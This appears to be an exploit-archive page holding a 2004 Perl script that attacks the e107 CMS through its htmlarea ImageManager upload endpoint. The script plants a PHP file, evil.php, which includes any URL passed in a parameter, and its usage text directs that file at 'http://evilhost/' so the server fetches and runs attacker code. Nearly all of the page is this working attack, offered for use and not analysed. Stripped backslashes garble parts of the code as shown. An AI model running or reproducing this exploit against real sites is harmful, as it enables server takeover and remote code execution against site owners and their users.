[Exploit]  [Remote]  [Local]  [Web Apps]  [Dos/Poc]  [Shellcode]  [RSS]

# Title : e107 include() Remote Exploit
# Published : 2004-12-22
# Author : sysbug
# Previous Title : phpMyChat 0.14.5 Remote Improper File Permissions Exploit
# Next Title : PHP <= 4.3.9 & phpBB 2.x with unserialize() Remote Exploit (compiled)


####################################################################
#
#  _____ _
# |  ___| | _____      ___
# | |_  | |/ _   / / /
# |  _| | | (_)  V  V /
# |_|   |_|___/ _/_/
#      Security Group.
#
#                    -=[ e107 remote sploit ]=-                           
#                           by sysbug 
#                              
# Attack method:                                                               
# with this sploit u can send an include() vuln to a Host victim  
# the upload go to /images/evil.php
#                                                                
# C:Perlbin>perl sploit.pl www.site.com                          
# -=[ e107 remote sploit ]=-                                      
#         by sysbug 
# # www.site.com
# # OWNED OH YEAH!                                                
# # get your evilc0de in:                                          
# # www.site.com/images/evil.php?owned=http://evilhost/ 
# C:Perlbin>                                                     
# 
# credits: ALL MY FRIENDS!                                                                 
# HELP ? RTFM -> perl sploit.pl                                                                
#####################################################################
use IO::Socket;

if(@ARGV < 1){
usage();
exit;
}
main();

sub main(){

print "-=[ e107 remote sploit ]=-n";
print "        by sysbug       nn";
$host[0] = $ARGV[0];
if($host[0] =~ ///){
($host[1],$host[2])=split(///,$host[0]);
$host[0] =~ //(.*)/;
$host[3] = "/";
$host[3] .= $1;
}
$host[1] = $host[0] if(!$host[1]);
@handlers =("e107_handlers","handlers");
print "# $host[1]n";
foreach $handler(@handlers){
$path = "$host[3]/$handler/htmlarea/popups/ImageManager/images.php";
$socket=IO::Socket::INET->new(Proto=>'tcp',PeerAddr=>$host[1],PeerPort=>80,Timeout=>10)|| die "  s0k offn";
print $socket "POST $path HTTP/1.1rn";
print $socket "Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, */*rn";
print $socket "Referer: http://www.lapropinacultural.com.ar/handlers/htmlarea/popups/insert_image.phprn";
print $socket "Accept-Language: ptrn";
print $socket "Content-Type: multipart/form-data; boundary=---------------------------7d410e113f8rn";
print $socket "Accept-Encoding: gzip, deflatern";
print $socket "User-Agent: l33t br0ws3rrn";
print $socket "Host: $host[1]rn";
print $socket "Content-Length: 1646rn";
print $socket "Connection: Keep-Alivernrn";
print $socket "-----------------------------7d410e113f8rn";
print $socket "Content-Disposition: form-data; name="dirPath"rnrn";
print $socket "/rn";
print $socket "-----------------------------7d410e113f8rn";
print $socket "Content-Disposition: form-data; name="url"rnrnrn";
print $socket "-----------------------------7d410e113f8rn";
print $socket "Content-Disposition: form-data; name="width"rnrnrn";
print $socket "-----------------------------7d410e113f8rn";
print $socket "Content-Disposition: form-data; name="vert"rnrnrn";
print $socket "-----------------------------7d410e113f8rn";
print $socket "Content-Disposition: form-data; name="alt"rnrnrn";
print $socket "-----------------------------7d410e113f8rn";
print $socket "Content-Disposition: form-data; name="height"rnrnrn";
print $socket "-----------------------------7d410e113f8rn";
print $socket "Content-Disposition: form-data; name="horiz"rnrnrn";
print $socket "-----------------------------7d410e113f8rn";
print $socket "Content-Disposition: form-data; name="upload"; filename="evil.php"rn";
print $socket "Content-Type: application/octet-streamrnrn";
print $socket "<? include($owned); ?>rn";
print $socket "-----------------------------7d410e113f8rn";
print $socket "Content-Disposition: form-data; name="align"rnrn";
print $socket "baselinern";
print $socket "-----------------------------7d410e113f8rn";
print $socket "Content-Disposition: form-data; name="border"rnrnrn";
print $socket "-----------------------------7d410e113f8rn";
print $socket "Content-Disposition: form-data; name="orginal_width"rnrnrn";
print $socket "-----------------------------7d410e113f8rn";
print $socket "Content-Disposition: form-data; name="orginal_height"rnrnrn";
print $socket "-----------------------------7d410e113f8rn";
print $socket "Content-Disposition: form-data; name="constrain_prop"rnrn";
print $socket "onrn";
print $socket "-----------------------------7d410e113f8rn";
print $socket "Content-Disposition: form-data; name="ok"rnrn";
print $socket "Refreshrn";
print $socket "-----------------------------7d410e113f8rn";
print $socket "Content-Disposition: form-data; name="ok"rnrn";
print $socket "OKrn";
print $socket "-----------------------------7d410e113f8rn";
print $socket "Content-Disposition: form-data; name="cancel"rnrn";
print $socket "Cancelrn";
print $socket "-----------------------------7d410e113f8--rnrnrnrn";
@socket = <$socket>;
foreach $teste(@socket){
if($teste=~ /<title>Image Browser</title>/){
print "# OWNED OH YEAH!n";
print "# get your evilc0de in: n# $host[0]/images/evil.php?owned=http://evilhost/n";
$result = 1;
}
}
close($socket);
}
if($result){
exit;
}
print "# b4d upload!!";
}
sub usage(){
print "-=[ e107 remote sploit ]=-n";
print "        by sysbug       nn";
print "# usage: perl $0 <host> n";
}

# www.Syue.com [2004-12-22]